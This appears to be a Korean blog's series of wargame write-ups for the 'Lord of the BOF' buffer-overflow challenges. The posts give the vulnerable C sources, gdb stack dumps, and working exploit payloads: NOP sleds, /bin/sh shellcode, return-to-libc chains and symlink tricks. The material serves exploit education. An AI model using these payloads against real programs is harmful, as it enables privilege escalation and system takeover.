hint : 메모리를 살펴보면 초기화 되지 않은 값이 있다.

leave에 BP를 걸고 실행 후 esp를 확인하면 0으로 초기화되지 않은 파일제목이 남아있다. 이를 이용해서 이 문제를 푼다.

이전처럼 심볼릭링크를 이용해 문제를 풀면 된다.




아래가 nop sled 탈 수 있는 주소



(gdb) x/100x $esp
0xbffff9a8:     0x00000002      0x00000002      0x00000000      0x00000000
0xbffff9b8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff9c8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff9d8:     0x90909090      0xbfbfbfbf      0x00000000      0xbffffa24
0xbffff9e8:     0xbffffa30      0x40013868      0x00000002      0x08048450
0xbffff9f8:     0x00000000      0x08048471      0x08048500      0x00000002
0xbffffa08:     0xbffffa24      0x08048390      0x080486ac      0x4000ae60
0xbffffa18:     0xbffffa1c      0x40013e90      0x00000002      0xbffffb1c
0xbffffa28:     0xbffffbad      0x00000000      0xbffffbde      0xbffffbf0
0xbffffa38:     0xbffffc09      0xbffffc28      0xbffffc4a      0xbffffc57
0xbffffa48:     0xbffffe1a      0xbffffe39      0xbffffe56      0xbffffe6b
0xbffffa58:     0xbffffe8a      0xbffffe93      0xbffffe9e      0xbffffeae
0xbffffa68:     0xbffffeb6      0xbffffec2      0xbffffed3      0xbffffedd
0xbffffa78:     0xbffffeeb      0xbffffefc      0xbfffff0a      0xbfffff15
0xbffffa88:     0xbfffff28      0x00000000      0x00000003      0x08048034
0xbffffa98:     0x00000004      0x00000020      0x00000005      0x00000006
0xbffffaa8:     0x00000006      0x00001000      0x00000007      0x40000000
0xbffffab8:     0x00000008      0x00000000      0x00000009      0x08048450
0xbffffac8:     0x0000000b      0x000001fd      0x0000000c      0x000001fd
0xbffffad8:     0x0000000d      0x000001fd      0x0000000e      0x000001fd
0xbffffae8:     0x00000010      0x0fabfbff      0x0000000f      0xbffffb17
0xbffffaf8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb08:     0x00000000      0x00000000      0x00000000      0x69000000
0xbffffb18:     0x00363836      0x00000000      0x00000000      0x00000000
0xbffffb28:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
...생략...
0xbffffe58:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe68:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe78:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe88:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe98:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffea8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffeb8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffec8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffed8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffee8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffef8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff08:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff18:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff28:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff38:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff48:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff58:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff68:     0x2f000000      0x656d6f68      0x6d61762f      0x65726970
0xbfffff78:     0x9090902f      0x90909090      0x90909090      0x90909090
0xbfffff88:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff98:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffa8:     0x90909090      0x90909090      0x90909090      0xd9c5d990
0xbfffffb8:     0xb8f42474      0xd769c315      0xb1c9295d      0x1a45310b
0xbfffffc8:     0x831a4503      0xe0e204c5      0x938f62a9      0x8e47137c
0xbfffffd8:     0xb87052e3      0x381717cc      0x5185f77b      0xf3a98e15




쉘을 땄다.



'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow golem  (0) 2017.08.21
Lord of bufferoverflow skeleton  (0) 2017.08.21
Lord of bufferoverflow troll  (0) 2017.08.18
Lord of bufferoverflow orge  (0) 2017.08.18
Lord of bufferoverflow darkelf  (0) 2017.08.17
이번 문제의 C 소스를 보면 argv[1]의 46번째 문자가 \xff가 아니여야한다. 하지만 지금까지 스택주소는 계속 0xbfff 로 시작했다. 

이 주소로 시작하는 스택은 사용할 수 없는 것이다

/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


처음에 이것저것 시도해보다가.. 버퍼에 아주 많은 값을 밀어넣어서 스택프레임의 크기를 크게 만들면 된다는 것을 알았다.
스택은 위에서 아래로 자라기 때문에 프레임의 크기를 계속 키우면 0xbfff가 아닌 0xbffe의 영역을 사용할 수 있다.



버퍼에 NOP를 추가해 주면서 계속 ESP의 값을 확인하다보니  NOP를 70000개 정도 주면 0xbffe를 사용할 수 있다는 것을 알았다.


이제 NOP sled를 타기 위해 적당한 주소를 찾아서 payload를 작성하면 된다.


쉘을 땄다.


payload = `python -c 'print "\x90"*44+"\x50\x74\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow skeleton  (0) 2017.08.21
Lord of bufferoverflow vampire  (0) 2017.08.18
Lord of bufferoverflow orge  (0) 2017.08.18
Lord of bufferoverflow darkelf  (0) 2017.08.17
Lord of bufferoverflow wolfman  (0) 2017.08.17

심벌릭 링크로 파일 이름에 다형성 쉘코드를 주면 됨

'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow vampire  (0) 2017.08.18
Lord of bufferoverflow troll  (0) 2017.08.18
Lord of bufferoverflow darkelf  (0) 2017.08.17
Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
문제 C 코드다.
이전 문제에서 if문이 한개 추가됐다.

argv[0]의 길이가 77이 아니면 종료하도록 되어있다.

그냥 파일 이름길이가 77이 되도록 하면 간단할것 같은데 권한이 없어서 그렇게 할 수 없다.


그래서 사용한 방법은 심벌릭링크를 이용해 제목을 바꾸는 것이다.


/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

심벌릭 링크로 파일명의 길이를 75로 해야한다.

그 이유는 파일을 실행할때 ./filename 이렇게 실행하는데 경로를 나타내는 ./도 argv[0]에 포함되기 때문이다.


LOB에서 GDB를 돌릴때는 아래와 같이 풀경로로 argv[0] 값을 주기때문에 gdb용 심벌릭 링크와 쉘을 얻기 위한 심벌릭 링크를 총 두 개 주었다.

gdb용 심벌릭 링크의 이름의 길이는 앞의 경로길이를 뺀 61자를 주었다.


위 if문을 우회하고 이전 문제와 같이 argv[2]에 값을 넣는 방식으로 if문을 우회하고 쉘을 땄다.



'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow troll  (0) 2017.08.18
Lord of bufferoverflow orge  (0) 2017.08.18
Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16

아래는 C언어 소스다. 

이전 문제와 다른점은 argv[1]의 길이를 체크한다는 것이다. argv[1]의 길이가 48을 넘기면 if문에 들어가게 되고 종료하게 된다. 

이 부분을 우회해야한다. 

우회방법은 간단하다. argv[2]에 쉘코드를 넣으면 buffer에 이어지게 값을 넣을 수 있다.


argv[1]과 argv[2]는 " "(공백)으로 구분하니 44바이트 뒤에 공백을 추가해서 argv[2]에 값을 넣어주면 된다.

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}






'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow orge  (0) 2017.08.18
Lord of bufferoverflow darkelf  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow cobolt  (0) 2017.08.16


payload = `python -c 'print "\x90"*44+"\x18\xfb\xff\xbf"+"\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'

'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow darkelf  (0) 2017.08.17
Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow cobolt  (0) 2017.08.16
Lord of bufferoverflow gremlin  (0) 2017.08.14

payload = `python -c 'print "\x90"*44+"\x18\xf9\xff\xbf"+"\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow cobolt  (0) 2017.08.16
Lord of bufferoverflow gremlin  (0) 2017.08.14
Lord of Bufferoverflow gate  (0) 2017.08.14

RTL로 풀기

작은 버퍼와 stdin 사이즈가 문제의 힌트다.

이전문제에서는 버퍼에 쉘코드를 넣고 ret에 쉘코드의 주소를 넣어서 쉘이 실행되게 했다.

하지만 지난번에 사용한 쉘코드는 25바이트로 버퍼보다 사이즈가 크기 때문에 ret를 바꿀 수가 없다.

따라서 RTL로 풀어야 한다.


버퍼는 아래와 같다.

 buffer[16]

 SFP[4]

RET[4] 

.... 

.... 


RTL은 아래와 같이 오버플로우를 하면 된다.

ret에 system함수의 주소를 넣고 다음 함수를 실행하지 않을 거기 때문에 sfp에는 무작위 값이 들어가고 system 함수의 인자로 /bin/sh을 넣어주면 된다.

이렇게 하면 ret에서 system("/bin/sh")을 실행하는 것과 같다.

\x90\x90................\x90\x90

 \x90\x90\x90\x90\x90

 system 함수 주소

 \x90\x90\x90\x90

/bin/sh 주소


payload :  (python -c 'print "\x90"*20+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"';cat) | ./goblin


stack을 이용해 문제 풀기

이 문제는 버퍼에 쉘코드를 넣을 수 없는 상황이다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

이럴때 더 높은 영역의 스택영역까지 오버플로우를 일으켜 NOP sled를 타서 쉘코드 까지 가는 방법도 성공할 것이다.

\x90\x90................\x90\x90

 \x90\x90\x90\x90

 ret (NOP sled 주소)

\x90\x90\x90\x90

\x90\x90\x90\x90


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


ret에 NOP sled 주소를 넣으면 NOP를 타고 쉘코드 까지 내려가서 쉘을 실행 시킬 것이다.

NOP sled 주소는 core dump를 이용해 찾는다.

*' /tmp' 아래에 소스를 컴파일 해 core dump를 뜬다. 홈디렉터리에 있는 파일로 뜨는 것은 권한이 없어서 core dump가 안되는 듯 싶다.

payload : (python -c 'print "\x90"*20+"\x60\xfb\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat) | ./goblin









'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow gremlin  (0) 2017.08.14
Lord of Bufferoverflow gate  (0) 2017.08.14

payload = `python -c 'print "\x90"*20+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"'`




flag = hacking exposed


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow cobolt  (0) 2017.08.16
Lord of Bufferoverflow gate  (0) 2017.08.14

홈 디렉터리 리스트를 보면 c소스와 실행 파일이 있다.


C 소스코드는 아래와 같다.

strcpy 함수를 사용해 bof에 취약하다.

이 부분을 공략하면 되겠다.


0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x100,%esp
0x8048439 <main+9>:     cmpl   $0x1,0x8(%ebp)
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   $0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    $0x4,%esp
0x804844c <main+28>:    push   $0x0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    $0x4,%esp
0x8048456 <main+38>:    mov    0xc(%ebp),%eax
0x8048459 <main+41>:    add    $0x4,%eax
0x804845c <main+44>:    mov    (%eax),%edx
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    0xffffff00(%ebp),%eax
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    $0x8,%esp
0x804846e <main+62>:    lea    0xffffff00(%ebp),%eax
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   $0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    $0x8,%esp
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
0x8048484 <main+84>:    nop
0x8048485 <main+85>:    nop
0x8048486 <main+86>:    nop
0x8048487 <main+87>:    nop
0x8048488 <main+88>:    nop
0x8048489 <main+89>:    nop
0x804848a <main+90>:    nop
0x804848b <main+91>:    nop
0x804848c <main+92>:    nop
0x804848d <main+93>:    nop
0x804848e <main+94>:    nop
0x804848f <main+95>:    nop

RET

SFP

BUF[256]




payload 구하기 (RTL)

payload = buf[256] + NOP(4byte) + system address + NOP(4byte) + /bin/sh address



| system 함수 주소 

/bin/sh 주소

C 소스를 컴파일 해 찾기

#include 

int main(int argc, char **argv)
{
        long shell;
        shell = 0x4006b498;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh",8)) shell++;
        printf("\"/bin/sh\" is at 0x%x\n",shell);
        printf("print %s\n",shell);
}




위 코드를 컴파일 하여 실행하면 /bin/sh의 주소를 출력해준다.


payload = `python -c 'print "\x90"*260+"\xe0\x8a\x05\x40"+"\x90\x90\x90\x90"+"\xf9\xbf\x0f\x40"'`



-----------------------------------------------------------------------------------------------------------------------------------------------------------

payload 구하기


`python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xb0\xfb\xff\xbf"'`

Ref

1. http://www.hackerschool.org/HS_Boards/data/Lib_system/rtl_sc.txt 
2. http://shayete.tistory.com/entry/4-Return-to-Library-RTL



'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow cobolt  (0) 2017.08.16
Lord of bufferoverflow gremlin  (0) 2017.08.14

+ Recent posts